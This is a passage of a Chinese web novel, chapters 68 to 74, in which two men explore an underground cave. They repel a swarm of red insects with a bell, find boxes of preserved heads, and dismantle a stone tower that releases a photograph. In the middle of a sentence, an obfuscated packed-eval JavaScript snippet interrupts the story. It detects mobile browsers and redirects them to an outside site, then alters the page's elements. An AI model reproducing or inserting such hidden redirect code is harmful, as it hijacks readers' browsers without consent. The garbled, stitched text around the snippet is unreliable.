这些人为的痕迹,一定是很多很多年前留下的,尤其是在位于地洞深处的地方,这样的工程量其实是很大的,过去的人不会无缘无故的做这些无用功,我暗自揣度了一会儿,觉得可能是要运送什么非常沉重的东西。 那东西需要借助马车或者圆木杠杆之类的东西拖动,崎岖狭窄的路面肯定不行,必须要加以拓宽。 这可能也是一条很重要的隐藏线索,至少说明在这个暗无天日的地洞某/处,有很多年前就运进来的一些东西。 师傅和毛叔他们当年就是在寻找这东西吗?我不敢确定,但心里的压力还是很大,师傅还有毛叔这样的老/江湖,最后都功败垂成了,我和玉芬绝对不会比他们强。 这条路一直延伸到了远方,暂时不知道尽头在什么地方。我们又走出去了几十米左右,道路两侧的沟壑比之前深了一些,四周到处都是黑漆漆的一片,只有手电光照射的地方才能看清楚,在这样的环境里,我心里像是扎了刺一样,总觉得两旁的黑暗里,似乎隐藏着什么东西。 为了安全起见,我们只能放慢速度,把两侧的情况尽力观察清楚之后再继续向前,如此一来,速度就慢了许多。 这里已经远离了地下河,苔藓之类的东西全都不复存在,所有生机彻底的灭绝,入眼全都是灰扑扑的石头。但是,手电的光芒又一次扫到右手边的时候,一抹殷红就映入了眼帘。 我急忙顿住手中的手电,定睛望去。右边是一片大概十来米左右深的洼地,远处黑乎乎的,不怎么能看清楚,那一抹殷红就在距离差不多十米左右的地方。 那东西看上去像是一团红、晕,和洗脸盆大小差不多。周围全都是石头,除了黑就是灰,这一团红彤彤的东西,就显得非常扎眼。 我和玉芬朝着路边走了走,站在紧靠着洼地边缘的地方,两把手电同时映照过去,那团红彤彤的东西,就仿佛一朵已经盛开的花,孤零零的矗立在这片黑暗之中。 花! 我一下子就明白过来,死在石壁缝隙里的那个人留下的那个“花”字,多半指的就是这朵红花。 我的精神再次高度紧张起来,之前发现那个字的时候,我就一直在猜测,究竟是一种提示,还是警告。现在真看到这朵花,脑子彻底乱了,看不出任何头绪。 那朵花就静静的生长在一片乱石中,附近再也没有别的任何东西,看不到花的根茎和叶片。 “五满,那朵花反正看着不是太对路,这里头黑咕隆咚的一片,有啥东西能活下来?” “是不太对路,但也不能就这样放过,好歹是条线索。” “咱俩人别一起靠近,得留个人在后头接应。” 我和玉芬商量了一下,两个人就开始寻找下去的路,路边的洼地有一个坡面,不算特别陡峭,如果小心一点,能慢慢的下去。 我觉得自己比玉芬心细一些,所以就走在前头,让玉芬断后,两个人慢慢的顺着陡坡朝下面爬,爬到一半儿的时候,我不知道是自己的眼睛花了,还是光线的原因,就觉得那朵红花突然动了动。 我立刻停了下来,还没来得及说话,红花跟着又是一颤,仿佛是一滩红色的水银,贴着地面流淌起来。 这滩红色的水银流动的很快,在崎岖的乱石之中穿梭而来,我想到了靠近这朵花之后可能会产生的种种危险,却完全没想到,这玩意儿竟然能和水一样流动。 红色的水银几乎一分钟都不到,已经靠近了陡坡的底部,我正巧爬到一半儿的位置,上不去,下不来,非常尴尬。一直到这时候,我都没能真正看清楚那滩红色的水银究竟是什么东西,下意识的转过身就朝上面爬。 但是,在这样的陡坡上只能手脚并用慢慢的爬,一旦速度快了,肯定会发生危险。我这边还没回过神,那滩红色的水银宛若一条两三米长的蛇,贴着陡坡就跟了上来。 “玉芬!快!” 我什么都顾不上了,催着玉芬朝上面赶紧爬,玉芬肯定也很紧张,立刻贴着陡坡朝上爬。 很快,那滩红色的水银已经要涌到我的脚下了,我不断的催促玉芬,玉芬心里一急,被迫又把动作给放快,谁知道,越是急躁,越是出问题,他的一条腿没踩实,贴着陡坡就滑了下来。 或许真该我倒霉,玉芬滑下来之后,一脚蹬在我的肩膀上,他倒是借着这个机会停止了下滑的趋势,可我承受不住这么大的冲击力,两只手一下子脱空了。 脚下没有借力的地方,双手一脱空,整个人就顺着陡坡滚了下去,我下意识的用双手抱住头,一口气滚下去了六七米,等落到沟底之后,惯力未减,又滚了三四米,才撞到了一堆石头上。 我浑身上下的骨头好像要散架了一样,脊椎骨被硌的生疼,可这还不是最要命的,那滩流动到陡坡的水银,像是拥有灵智一般,立刻调头又流下陡坡,朝着我涌动而来。 我彻底毛了,现在基本上可以断定,这玩意儿应该是很危险的东西,当时那个死在岩石缝隙里的人,很可能就是为了躲避这东西。 现在想要爬上陡坡,几乎没有任何可能,我翻身起来就跑,脚下到处都是石头还有天然形成的沟壑,跑动起来非常吃力,一脚高一脚低,拼尽全力也跑不快。 我就跑出去不到十米远,那滩红色的水银已经到了身后不足两米处,我已经使出浑身解数,但脚下被绊了一下,噗通摔倒在地。 第69章 守护洞口 我只觉得,这一次是在劫难逃了。 就在我摔倒的那一瞬间,身后的红色水银几乎已经流到了我的脚后跟,我还是不肯屈服,双手一撑地面,想要站起身来。 叮当…… 这时候,挂在我脖子上的那颗小小的镇棺铃响了一声。这只铃铛在我贴身的地方挂着,刚才不留神一摔倒,铃铛就从衣服里甩了出来。 现在肯定顾不上这些了,我起身拔腿就跑,匆忙中还回头看了一眼。 当我回头张望的时候,顿时就看到那滩红色的水银突然停止了下来,在原地不断的微微扭曲。 这种感觉,就好像红色的水银在我身后发现了什么可怕的东西,从而导致它不敢再继续跟进。 我连忙朝身后看了看,后面还是一片沟地,但面积不算太大,已经能看到沟地对面那一片黑压压的陡坡。 我一下子又不敢动了,这滩红色的水银已经让我感到恐惧,如果身后再出现什么东西,我连跑都没法跑。 然而,身后好像什么都没有,只是一片深邃的黑暗。 眼前那滩红色的水银就停在距离我四五米远的地方,还是不停的扭曲着,仿佛是一群饿极的狼准备围捕猎物,却又因为畏惧而踌躇不前。 看着对方暂时没有再逼近,我强迫自己镇定下来,身后应该是没有东西,可这滩红色的水银却突然停止了流动,这其中肯定有别的原因。 此刻,玉芬也连滚带爬的从陡坡上重新下来,打算要给我帮忙,我急忙冲他摆了摆手,示意他不要再靠近。 刚才所发生的一切,电光火石般的在脑海中闪过,我不由自主的低头看了看挂在脖子上的镇棺铃。 镇棺铃无意中响了一声,这滩红色的水银就不敢再靠近了,我不确定自己的判断是否准确,硬着头皮,又拨动了一下镇棺铃。 镇棺铃的铃声有点沉闷,而且这么小的铃铛,发出的声音也不大,然而,这一声沉闷的铃铛声响起的时候,那滩红色的水银,仿佛扭曲的更加厉害了。 我不断的拨动着铃铛,随着铃铛声接二连三的响起,红色的水银开始有节奏的移动,我看得出来,它完全是根据铃铛声的快慢的大小在移动的。 如此一来,我慢慢的找到了窍门,试探着用铃铛声来调动这滩红色的水银,与此同时,我还在一点点的靠近,想看的更加清晰一些。 过了大概有几分钟,我基本上已经摸清了这其中的规律,很彻底的把这滩红色的水银固定在了一个区域内。 当距离又拉近了一些时,在强烈的光照下,我看见那滩红色的水银,是无数只密密麻麻的小虫子,虫子是淡红色的,长的和苍蝇一样,比米粒还要小。 那么多淡红色的虫子,全都聚集在一起,微微的蠕动,看的我想吐。 等我看清楚之后,又一次晃动起镇棺铃,这一次,我让虫群调转方向,朝着远处移动,铃铛声很管用,红色的虫群渐渐朝着南面而去。 “五满,这到底是啥玩意儿?” 红色虫群走远之后,玉芬连蹦带跳的蹿了过来,这种虫子有什么危险,我暂时也不清楚,然而,里面的一些情况,很耐人寻味。 镇棺铃能控制这些虫子,我不相信这是巧合,每一只镇棺铃因为大小以及材料和打造工艺不同,所发出的声音也不可能完全一样,也就是说,可能只有师傅这只镇棺铃,才能调动这些虫子。 这些虫子,到底是不是师傅留下的,我不敢肯定,但多半跟他有关系。 虫群刚才所处的地方,全都是石头,也没有什么值得注意的东西,我转身朝后面走了走,大概二十米之后,就到了沟地的另一端,顺着缓坡爬上去之后,会遇到很大的一堵岩石隔断。 看样子,朝那边是没有路可走的。 就在我左顾右盼想要再查找一点线索时,在几块石头之间,看到一片已经卷曲的纸。我挪开一块石头,拿起这片纸看了看,很快就确定,这是一只被拆散的烟盒。 而且,这种烟我很熟悉,叫游泳牌香烟,以前跟着师傅学艺的时候,我年龄还小,不怎么抽烟,师傅的烟瘾却比较大,他平时抽惯了游泳牌的香烟,我把他抽完的空烟盒拆掉,叠一些纸三角,跟村里的孩子一起玩。 世上不可能只有师傅抽这个牌子的烟,然而,在这个时间这个地点找到一片很陈旧的烟纸,就让我产生了特殊的感觉。 师傅一定在这片沟地活动过。 本来,我看到沟底快到头了,而且又被隔断阻挡,就没打算再过去,发现了这片烟纸之后,我打消了原来的念头,慢慢的朝沟底的另一端走去。 一直走到沟底另一端的缓坡跟前,我才发现,在缓坡隐蔽的凸/起处,有一个洞口。 这样的洞,显然也是天然形成的,洞口原本并不算很宽,但被人扩宽了,直到现在,还能看到洞口两侧被敲打过的痕迹。 洞里面黑咕隆咚的,也不知道有多深,站在洞口这里,听不到里面有任何声音。 这个发现,让我的思路又活泛了起来,那滩红色的虫群,就呆在距离洞口大概二十米之外的地方,我甚至开始怀疑,虫群其实就是在守护这个洞口。 如此联想下去,当年死在岩石缝隙里的那个人,一定从这里经过过,遭遇了这群如同红花一般的虫子之后,他慌忙后撤,却没能逃远,最后死在了那边。 我越想越是觉得自己的判断是正确的,如果一个山洞的洞口需要什么东西来守护的话,那么山洞里一定有比较重要的物品。 我慢慢的朝洞口里走了两步,洞口里面是一条四五米宽的通道,估计有七八米长。七八米之后,通道转了一个九十度的弯。 我走的很小心,等转过那个九十度的弯以后,面前的空间豁然开朗。 我和玉芬手里的手电同时照向前方,这一刻,洞内的景象让我吃了一惊,忍不住就楞了楞。 第70章 洞中洞 这个地洞的面积不算大,但也绝对不算小,我能看到里面堆满了乱七八糟的东西,还有很杂乱的电线。 这些东西,基本上都是一些生活用品,吃的喝的,还有简易破旧的折叠床。让我很吃惊的是,里面居然还有一台很小的柴油发电机。 一看到这些,就能知道,在若干年以前,一定有人长期在这边滞留过,而且人数绝对不止三两个人。 根据之前的推测,我觉得这个地方是师傅涉足过的,这也印证了王先生之前说的情况,那么这个地洞里的东西,估计就是师傅和毛叔他们专门运进来的。 我大概猜得到,从这里再返回到洞外,有很长一段路要走,如果每天都往返在这之间,很浪费时间。所以师傅他们干脆就把这个山洞当成了暂时居住的地方,虽然条件艰苦了点,但方便行事。 这些东西都很陈旧了,但是可以看得出来,师傅当年是下了血本才弄来这些。 我看了一会儿,暂时没有发现什么异常,就继续朝洞里走了几步。 不知道为什么,置身在这个隐蔽的小山洞里,我就有一种时间停滞下来的感觉,这种感觉毫无来由,又非常奇怪。 确定没有危险之后,玉芬也跟了进来,这里是师傅当年活动过的地方,不知道有没有什么线索,我们俩开始分头查找山洞里的物品。 东西很多,其中不少都是木头和纸壳之类的包装箱,还有一些没有开封的酒和饼干,渐渐的,我们两个人就差不多把山洞给翻了一遍。 “五满,山洞快到头儿了,也翻不出啥花样来啊。” “先别急。” 玉芬和我说话的时候,我就看到山洞一个角落的颜色不太对,在光线的映照下,如果仔细的观察,可以发现角落有一道布帘子。 这道布帘子是黑色的,沾满了灰尘,所以看起来和山洞别的地方的颜色格格不入,我用钢钎轻轻挑动了一下,布帘子上的灰尘扑扑簌簌的朝下掉落。 弥漫的尘土呛的人睁不开眼睛,我赶紧后退了几步,等到尘埃落定,我基本也观察清楚了,布帘子的后面,还有一个小洞,被分隔开了。 这个地方沉寂了很多年,而且外面还有那一滩水银一般的红虫子在守护,应该没外人来过。我挑开布帘,朝里面看了看,这个小山洞的面积比外面小,里面满满当当堆的都是东西。 一排一排的木箱子,摞的整整齐齐,几乎把这个地方给占满了,只在最右手边的地方,有一张用木头箱子拼凑起来的床,床上的被褥已经破旧不堪,除此之外,床头还有两个木箱,可能是用来当桌子的。 我走过去先看了一眼,桌子里面是中空的,留着一些杂乱的小物件,其中还有一包已经拆封的游泳牌香烟。 看到这里,我就怀疑这个小洞是师傅当年住的地方,他从外面带了一些人到王川山,别的人基本都在外面活动,只有他一个人住在这儿。 这些杂乱的物品,没有任何价值,很快就看了一遍,随后,我把目光投向了堆积在另一侧的那些木箱子上。 木箱子的盖子没有上钉,直接就能掀开,掀开箱子之后,我看到的是一层一层盖在上面的报纸,等报纸拿开,两颗已经完全白骨化的头骨,顿时映入眼帘。 一发现木箱子里面是人的头骨,我的脑海中立刻就浮出一个念头,这里这么多木箱子,里面可能还有别的头骨。我觉得,这些头骨不太可能是师傅他们带进来的。 也就是说,头骨是从地洞的某个地方弄到这里,然后师傅就每天守在这个小洞,夜以继日的琢磨着这些头骨。 我和玉芬把别的木箱子一个挨着一个的打开,果然,箱子里都是头骨,其中还有一部分是尚未腐烂的脑袋,脑袋被一种特殊的蜡严密的包裹了起来,防腐的效果很好。 我搞不清楚,师傅当年是从地洞的何处找到这些脑袋的,因为我以前在棚村的时候就见过类似的情景,所以还不觉得怎么样,玉芬就惊诧的厉害,很不适应这样的环境。 “你要是受不了,就先到后面去,我来看看。” 我让玉芬站到后头,其实,这些脑袋虽然经过了防腐,但也不可能保存的天衣无缝,那些包裹在外面的蜡,不知道什么原因,发粘发软,尤其里面还裹着完整的脑袋,让人感觉很膈应。 师傅还有白八门二皮一脉的那帮人收集脑袋,究竟有什么用?如果有用,师傅不可能不把这些玩意儿给带走。 我本来想用一些时间,仔仔细细的把这些脑袋一探究竟,但如果这些脑袋还有研究的价值,师傅不会把它们留在这儿,这些脑袋,估计是没有什么用处了。 所有的箱子里除了这些脑袋和头骨,就只剩下一团一团的旧报纸,虽然在这儿没有获取什么线索,但我相信,这片风水地下面的深邃洞穴,应该还有别的东西。 我收敛了心神,准备带着玉芬离开,一回头,我就看到玉芬蹲在一只木箱子跟前,探头看着里面的脑袋。 那颗脑袋,也包裹在一层厚厚的蜡里面,这种蜡本身是几乎透明的,如同一盆净水冻成了冰,隐约可以看到脑袋的模样。 “玉芬,走了。” “嗯。” 玉芬应了一声,我转身就掀开布帘子走了出去,但走了好几步,玉芬没有跟过来,我又喊他,却只听到他还是嗯了一声,没有别的反应。 我掀开帘子又走了回去,玉芬仍旧蹲在那个箱子跟前,一动不动,好像看的聚精会神。 “玉芬?玉芬?” 我抬手拍了他两下,玉芬这才有了反应,他回头看了我一眼,这一瞬间,我发现玉芬的脸色有些发白,两片嘴唇轻轻的颤抖着。 我的心顿时又毛了,这个地洞看不出有什么危险,玉芬也比之前机警了很多,可他这个样子,让人心里很没底。 “玉芬?” “五满,我没事……” “你的脸怎么这么白?” “五满,我想问你一句话。” “什么话?” “你别怕我受不了,告诉我实话。”玉芬的嘴唇在发颤,连声音也跟着一起颤动起来:“我……我是不是已经死了?” 第71章 回想不起 玉芬的话让我猛然吃了一惊,他的确算是“死”了一次,但当时的知情者只有我和大甜瓜,玉芬找到大甜瓜那里之后,我暗中叮嘱了不止一次,让大甜瓜别提上次在王川山的事。 可以说,玉芬对这件事情是完全一无所知的,可他在这个小洞呆了一会儿,就突然提出这样的问题。 我还是不想告诉他,在这种环境下,人的情绪肯定比较紧张压抑,要是再说起这些,我怕玉芬会更接受不了。 “玉芬,你在瞎说什么?” “我没瞎说……五满,你可别骗我。” “你怎么突然这么问起来了?” “我也说不清楚……”玉芬使劲拍了拍自己的脑门:“从我进了这个小洞,就胡乱想起了一些事,我记得,我以前不是这个长相……” “那你以前长什么样?” “个头儿挺高的,圆脸盘,皮肤很黑,五满,我说的对不对?” 我虽然惊讶,但是这个事情其实是能推敲的。玉芬“死而复生”之后,很多事情他记得,可是有一部分事情,他却全然回想不起来了,比如他之前的样子,再比如他在王川山遇险的经过。 我本来想一直瞒着他,让他少一些忧虑,可是,来到这个小洞,不知道是什么原因,让他慢慢回忆起那些被自己遗忘的往事。 “玉芬,你也不用胡思乱想。” “我知道,有些事你一定瞒着我的,怕我想不开,我要是没死,怎么会变成现在这个鬼样子?”玉芬摸了摸自己的脸颊,如果他什么都想不起来,对现在的模样倒也没多少想法,总觉得是从娘胎里带来的。 但回忆起了自己以前的模样,玉芬就很不满意,他以前虽然又黑又胖,最起码还有一股阳刚之气,现在的样子低矮又猥/琐,不偷都像个贼。 “玉芬,除了这些,你还想起别的什么来了没有?” “脑子有点乱,糊里糊涂的,这个人……”玉芬指了指面前那只木箱子里的脑袋,说道:“总觉得他眼熟,可是又想不起他是谁,就是看到这颗脑袋,我才想起自己以前的样子。” 玉芬这么一说,就引起了我的注意。木箱子里那颗脑袋是个男人,看上去有四十多岁,很普通的长相,也没什么异于常人之处。 这个小山洞里的所有东西,肯定都是十几年前留下的,按道理说,不管是我,或者玉芬,对这儿应该没什么印象。 但就在这一刻,我突然想起上次来这块风水地的时候,玉芬有点失神,就是他一路跌跌撞撞的带我找到了地洞的入口。 而且,玉芬当时还说,他以前来过这儿,就是从入口进去,然后又出来的。 我那时候感觉很费解,因为玉芬的过去,我比任何人都清楚,他不可能来过这里。 只是,等这次玉芬又死而复生,就让我明白了一个道理,有些事情不能只靠自己的经验或者常理去判断。 玉芬是什么时候来的,跟谁来的,现在都是个未知数了,我就不断的启发他,让他再回忆一下,看看能否想起更多的情况。 玉芬蹲在地上冥思苦想,把头发都快薅掉了,也没能想起更多的细节,我知道,这是急不来的事情,只能暂时先放一放。 我本来是打算离开这个小洞,再顺着那条路到深处去看看,出了这件事之后,我就想再逗留一下,休息休息,顺便再让玉芬好好想想。 这个小洞里有发电机,还留着大半桶的柴油,我用浸泡了柴油的木箱子当燃料,烧了些水,又弄了点吃的,玉芬一直都垂着头,不断的想,但现在他实在想不出什么了。 一个人的记忆里如果隐藏了什么往事,自己却偏偏回忆不起来,就是件很痛苦的事,我不想让玉芬有太沉重的心理负担,所以就安慰了他一阵子。玉芬想不起来,渐渐的就开始急躁,在小洞外头走来走去。 一看他这个样,我只能改变计划,把饭给吃了,然后立刻离开了这儿。 我们重新走到了那条被人工铺垫出来的路上,为了保险起见,我们走的还是特别慢,过了大概有二十分钟左右,我感觉这条路快要到尽头了。 玉芬这个人最大的优点就是忘的快,也可能是离开了那个小洞,这二十分钟时间,他就把那些不良情绪都消化了。 我感觉的没错,继续前行了几十米,前面的地势出现了变化,险峻的沟地已经到头儿,空间开阔,脚下的地面也比较平坦,那条路就没有必要再铺下去。 地势舒缓,本来是件好事,但是将要走到道路尽头时,手电的光芒就在路口的左侧,映照出了一团大概有两米多高的影子。 因为距离不远,所以那团影子的全貌,很快就出现在视线中。 那是一座用石块垒起来的观听塔,静静的矗立在黑暗中。 在风水地附近那个小村的遗址里,有一座观听塔,当时铁拐李也把观听塔的来历和用处都详细的解释了,村子的遗址有观听塔,这还说的过去,毕竟以前有人在那里住。 但是深邃的地下空间里,又出现一座观听塔,就让人感觉很疑惑。 我琢磨了一下,观听塔有用,所以它出现的地方,一定是有人居住的地方,如果照这个思路去想的话,我就怀疑在很多年前,那个小村里的人是不是住在地下的。 眼下也只有这么一个解释能说的通,小村的人,很可能是这片风水地的守护者,最开始的时候,就住在这里,随着时间的变迁,规矩没那么严了,他们才搬回到了地面。 对于我来说,观听塔不是什么善物,总让人感觉阴气森森的。只不过,已经走到了这里,遇见任何值得关注的东西,起码都要看一看。 玉芬绕着这座观听塔走了一圈,铁拐李说过,每一座观听塔里,都葬着一具尸体,而且是族群里德高望重而且有道行的老辈人,玉芬就很恭敬,点了支烟,塞到了观听塔的缝隙之间。 “老人家,我们是从这儿路过的,咱们井水不犯河水,我给你上根烟,你也别找我们的麻烦……” 看着玉芬一本正经的样子,我就感觉很滑稽。 咔…… 玉芬的话还没有说完,死寂的观听塔,突然发出了一声轻响,在如此寂静的环境里,这声轻响清清楚楚的落入耳中。 第72章 特殊提示 我猛然回过头,盯住了一旁的观听塔。 这种石塔建造的时候虽然没有什么粘合物,但石块之间咬合很紧,就算在外界风吹雨打,只要不被人为破坏,多少年都不会损坏。 地洞深处的这座观听塔,不可能受到自然环境的影响,石塔的无数石块层层叠叠,保持着非常好的平衡性。 可是,就在我们俩人走到这儿的时候,观听塔却突然传出了声响,这很不正常。 我还是秉承自己的原则,前进的路上如果遇到问题,就尽可能的解决,以免到后面会不可收拾。 声音就响了那么一下,随后便戛然而止,我仔细想了想,觉得刚才那声音似乎是从观听塔内部传来的。 这就更加离谱了,观听塔里的尸体,已经被放进去了很多年,按照某些地方的风俗习惯,在修建观听塔之前,会把尸体进行特殊的脱水处理,保证尸体在很长一段时间内不会腐烂。 也就是说,观听塔里的尸体,大部分都是腊肉一般的干尸,这样的干尸,掀不起什么风浪。 “五满,刚才那声音,是从里头传出来的?”玉芬摸了摸自己的耳朵,有点不敢确定。 我本来也不能完全确定,但玉芬这么一说,其实就等于印证了这个问题,我一个人的耳朵或许会出问题,两个人的耳朵不太可能同时都出问题。 我对玉芬摆了摆手,放下身上的包,然后拿了一把钢钎当做武器,慢慢的靠近了这座观听塔。观听塔塔身大概一米左右的地方,有一道很窄的缝隙,那是修塔的人专门留下的。 后世人要是想得到观听塔的指示,就会用特殊的祭奠或者占卜方式来求助,据说,观听塔的那条缝隙里,真的会出现先辈的指引。 缝隙很窄,而且角度也有问题,凑过去朝里面看的话,即便用手电照明,也看不到什么,只是觉得黑漆漆的一团。 人的恐惧,基本都来自于未知的领域,越是看不清楚里面的情况,就越是觉得会否隐藏着什么可怕的东西。 “前面的路不知道还有多远,这时候可千万别出什么幺蛾子啊。”玉芬赶紧又掏出来三支烟,点燃之后规规矩矩的插在观听塔跟前,弯腰鞠躬,虔诚的说道:“大爷,我又给你上了三支烟,聊表心意,我们都是实诚人,别为难我们。” 玉芬一直都喜欢搞这些毫无意义的仪式,偏偏他还弄的一本正经,玉芬在小声嘀咕的时候,我死死的盯着观听塔,这座塔很结实,绝不可能因为失去平衡而发出响动。 如果这么推测的话,刚才的那声轻响,就愈发显得诡异。 “大爷,我说的话,您都听到了吗?” “行了,你还打算让对方回应你一声?” “该表示的咱都表示了,让人挑不出礼,伸手不打笑脸人嘛。” 观听塔跟前的三支烟在缓缓的燃烧,这本来很正常,但看着看着,我的心就不由自主的高悬了起来。 香烟燃烧产生的烟气,缓缓的向上飘动,当飘到那条非常狭窄的缝隙时,烟气无声无声的全部顺着缝隙流了进去。 三只香烟燃烧了一半儿就熄灭了,这情景让我和玉芬心里都没底,两个人站在观听塔跟前,我就在考虑,要不要把这座塔给拆掉,看个水落石出。 “大爷,你要这么搞,就没啥意思了,话都说的清清楚楚的,我们就是从这儿路过,也不打算惊扰你,大家井水不犯河水,这样就最好。你要是有啥不满意的,你就直说……” 唰…… 就在这时候,从那条很狭窄的缝隙里,唰的飘出来一页纸,声音虽然不大,但把我们都给吓了一跳,我握着手里的钢钎,下意识的后退了几步。 那页纸看起来并没有什么异常,轻飘飘的落到了地上。 我的头皮麻了,因为铁拐李以前说过,人们求助观听塔之后,会顺手朝观听塔里面塞一张黄表纸,如果先辈给了什么提示,那张黄表纸会顺着原路飘出来。 黄表纸上面,也会出现一些复杂而且奇怪的花纹,看着和鬼画符一样,这种复杂的符箓,需要专门的人来解读,从而得知先辈具体要表达的意思。 这种事听起来玄之又玄,铁拐李当初和我提起这些的时候,我也只是当成一个民间传说来听听,可现在,那页从缝隙里面飘出来的纸,却清清楚楚的呈现在眼前。 这座观听塔,有鬼。 事情一出现变化,我和玉芬就都老实了很多,我们退出去了好几米远,仍然觉得不踏实。 但是,事情都已经发生了,想躲避肯定不可能,玉芬眨巴两下眼睛,小声对我说道:“我过去看看,你在这里呆着,先别乱动,免得出事了被一锅端。” 玉芬抓着我们平时用来挖土的小铲子,一步一步慢慢走了过去,那页纸就在地上,他不敢直接用手去捡,拿着手电就照了照。 玉芬的距离那么近,他肯定能看出那页纸上到底是什么,但玉芬看了两眼,注意力似乎全都被吸引了过去,低着头聚精会神的看。 看着玉芬现在的样子,我又害怕他出什么意外,赶紧在后面说道:“玉芬!?” “我没事……” “没事就好。” 我听到玉芬回应了我,加上两个人距离也不远,这才稍稍放下心。 可我总觉得,那页从观听塔里飘出来的纸,似乎带着一种莫名其妙的吸引力,让玉芬目不转睛,看的很入神。 就这么过了两分钟,我还是有些沉不住气,又喊了他一声。 “真的……真的是活见鬼了……”玉芬看起来是很正常的,听到我喊他,立刻就回过了头。 “怎么了?”我一下子意识到,那张纸上,可能有什么让人觉得很奇怪的内容:“那张纸上有什么?” “你自己来看看吧。” 第73章 活见鬼 我觉得,尽管气氛诡异,但周围的确察觉不出什么危险的气息,等玉芬招呼我过去,我就抓着手里的钢钎,慢慢走了过去。 当我走到玉芬身边的时候,终于看清楚了,那页从缝隙里飘出来的并不是一页纸,而是一张照片。 我的脑袋顿时大了一圈,如果地上是一张黄表纸,哪怕上面画满了鬼画符,我也不会觉得太奇怪,因为毕竟已经听过了相应的传闻。 可我无论如何都想象不到,从观听塔里面飘出来的会是一张照片。在当时,我们乡下农村的照片都不太多,更不要说位于地下这么深的地洞里。 正如玉芬所说,真的是活见鬼了。 我们都没有乱动这张照片,我也蹲在玉芬身边看了看。照片像是在一片非常昏暗的地方拍摄下来的,远景非常的模糊,只能隐隐约约看到,那片昏沉之中,好像有一团一团的影子,密密麻麻的一大片。 但那些影子究竟是什么玩意儿,谁也说不清楚。 “玉芬,你能看出来不,那些影子是什么?” “我也说不准,可我总觉得……”玉芬观察了这么久,感觉应该没什么危险,他用小铲子把地上的照片轻轻铲了起来,说道:“这照片里的地方,是有些眼熟。” “眼熟?” 我楞了一下,根据我自己的观察,我认为照片里的场景,很可能就是这个地下空间的某个地点,但具体是什么位置,现在很难判断。 “对,有些眼熟,那些密密麻麻的影子……”玉芬好像有点痛苦,又抓着自己的头发,在冥思苦想。 他的样子很可能是由这张照片的情景联想到了什么,但也就想到了一点点头绪,再具体的细节就无论如何都回忆不起来了。 玉芬的举动属于正常现象,如果换做是我,想的久了肯定也会烦躁。 玉芬的回忆,可以暂时放下不提,只要我们能一切平安,以后他还有的是时间去回想,现在的关键问题是,观听塔怎么可能飘出来一张照片,这张照片出现在我们眼前的意义是什么? 我本来就在犹豫,要不要拆掉观听塔,一探究竟,现在出现了这张照片,我立刻打定了主意,即便冒点险,也得看明白。 我和玉芬商量了一下,两个人还是一前一后,一个人负责拆塔,另一个人则负责保护。 观听塔都是用那些比脸盆还大的石块垒起来的,两米多高的塔,必须从上面开始拆,很费力气。玉芬的个头低,用钢钎把石头一点一点的弄松动,然后让石头自己滚下来。 玉芬拆了一小半儿,胳膊就酸了,我过去**,把大块大块的石头直接扒拉下来,等观听塔拆到一半的时候,里面的情景,基本就能看清楚了。 我闻到了一股隐隐约约的霉味,观听塔中空的空间比较狭窄,第一眼看过去,我看到了一团绿幽幽的绒毛,这些绒毛就好像食物在潮湿的环境放久了之后长出的绿毛,整个观听塔的底部,几乎都被这样的绿毛给铺满了,看起来让人头皮发麻。 我强忍着恶心,用布捂着鼻子,然后拿钢钎一点一点的扒拉,观听塔的时间太久了,里面有点破烂东西,已经烂的面目全非,当那一团绿幽幽的细毛被扒开之后,我看到了一具蜷曲成一团的尸体。 那果然是一具干尸,干枯的和一截烂木头一样,因为地洞总体湿度比较高,又在观听塔这种几乎密闭的空间里,尸体外面很潮湿,那些绿毛就是从尸体身上长出来的。 这种尸体,不可能有什么动静,但越是这样,就越是让我怀疑刚才那张照片的来历。 那张照片,多半是有人提前放在里面的,但照片怎么那么精准的从缝隙里飘出来,而且正好在我跟玉芬经过的时候飘出来,现在都是个未知数。 最让我摸不着头脑的是,这张照片上的景象,到底是什么含义? “这也不一定是专门让咱们看的吧。”玉芬考虑了半天,也想不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311399|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出个所以然,只能自己安慰自己:“说不定咱们也就是歪打误撞的正好经过这儿而已。” “但愿如此。” 观听塔的内部,真的再也找不出任何有价值的东西,我把那张照片翻来覆去的看了很多遍,照片里的场景不容易辨别,我只能隐约看出来,那是一片位于一条裂谷对面的山壁,密密麻麻的影子,都在山壁那边。 现在大概能观察到的,只有这些了,照片里没有半个人的影子,也没有别的什么标志性的地貌。 玉芬只要一看见这张照片,就会不由自主的冥思苦想,我怕分他的神,干脆就把照片收起来,让他眼不见心不烦。 “玉芬,先别想这些了,等咱们回去之后,你再慢慢去想。” “也行……这照片上的情景,看着熟悉,可它从观听塔里飘出来,到底是啥意思?” “谁也说不清楚,别想了,咱们走。” 我们收拾了一下行装,然后从这里离开,周围的地面是平缓开阔了,但是还能看到一条路的痕迹。 这条路,不止一个人走过。 我们就顺着这条路,一直朝前面走,根据我的推测,这个地洞的空间还有很大,但真正的目的地在什么地方,我还不太清楚。 我们走走停停,又过了差不多三个小时的时间,脚下的路又到了尽头,朝前望去的时候,我看到远处的地势左高右低。 前方情况不明,我们肯定得选一个方向走,右边的地势低,走起来应该比较顺利。 但是,我朝左边望去的时候,透过光线的映照,隐约能看到那边似乎有一条大概几米宽的裂痕。在这么广袤的空间里,这样的裂痕不能说很起眼。 我忍不住掏出口袋里那张照片,又看了一眼,照片的背景,好像是一条裂谷。 也就是这一刻,我突然意识到,这张照片无形中给我们透露了一点信息,只有顺着裂谷的方向走,才能有所发现。 第74章 铁索桥 眼前的岔路,其实就是一个难以抉择的地方,如果不是提前看到了那张照片,我很可能就会选择右边较为平坦的地方继续向前了。 我立刻招呼玉芬,朝着左手边慢慢的前行。走的远了一些,情况再一次被印证,我觉得走这个方向应该是没错的。 这边的地势虽然崎岖,但在崎岖之中,却有一条很容易走的路,更重要的是,在路边的乱石里,时不时就能发现一些被遗弃的东西。 